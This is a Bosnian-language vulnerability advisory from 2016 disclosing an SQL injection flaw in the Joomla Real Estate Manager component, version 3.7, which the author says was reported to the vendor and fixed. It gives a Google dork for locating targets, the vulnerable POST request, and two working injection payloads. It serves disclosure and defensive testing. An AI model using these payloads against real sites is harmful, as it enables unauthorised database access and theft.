13. oktobar, 2016. Omer Ramić Provjera sigurnosti

Ova ranjivost je otkrivena u Joomla CMS komponenti Real Estate Manager verzije 3.7. Ranjivost je tipa SQLi (SQL injekcija), a pronašao sam je 10.10.2015. godine, prije godinu dana i prijavio sam autorima softvera koji su ispravili grešku.

Modul eksploita za Metasploit može se pronaći ovdje: https://www.rapid7.com/db/modules/auxiliary/gather/joomla_com_realestatemanager_sqli

NAPOMENA: Ova ranjivost je testirana i pronađena u okruženju na lokalnom hostu.

#Opis komponente na stranici vendora glasi:

Ova Joomla komponenta je odlična za nezavisne agente nekretninama, izdavanje nekretnina kompanijama i agencijama, rezervisanje hotela, upravljanje hotelima isl.

 

#Dodatni podaci o komponenti:

# Naziv ranjivosti/eksploita: [Joomla komponenta com_realestatemanager - SQL injekcija]
# Google Dork: [inurl:option=com_realestatemanager]
# Datum: [2015-10-10]
# Autor ranjivosti/eksploita: [Omer Ramić]
# Stranica vendora: [http://ordasoft.com/]
# Link do softvera: [http://ordasoft.com/Real-Estate-Manager-Software-Joomla.html]
# Verzija: [3.7] & vjerovatno sve prethodne verzije
# Testirano na platformi: Linux/Windows/PHP 5.5.28/Apache 2.4.16
 
#Višestruki parametri ranjivosti (POC je dat samo za prvi parametar):
Parameter_1: order_direction (POST)
Parameter_2: order_field (POST)
 
#Ranjivi parametri 1 & 2 se nalaze u sljedećem POST zahtjevu:
POST /index.php?option=com_realestatemanager&task=showCategory&catid=50&Itemid=132 HTTP/1.1
Host: [HOST]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://[HOST]/index.php?option=com_realestatemanager&task=showCategory&catid=50&Itemid=132
Cookie: security_level=0; 9d929655f6556b9fb49bf0e118bafb11=tp72u418eemk6jdvvnctoamna0; countrytabs=0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 37

order_direction=asc&order_field=price
 
#Vektori:
POC_1:
order_direction=asc,(SELECT (CASE WHEN (7918=7918) THEN 1 ELSE 7918*(SELECT 7918 FROM INFORMATION_SCHEMA.CHARACTER_SETS)END))&order_field=price
 
POC_2:
order_direction=asc,(SELECT 1841 FROM(SELECTCOUNT(*),CONCAT(0x716b787671,(SELECT(ELT(1841=1841,1))),0x716b786b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&order_field=price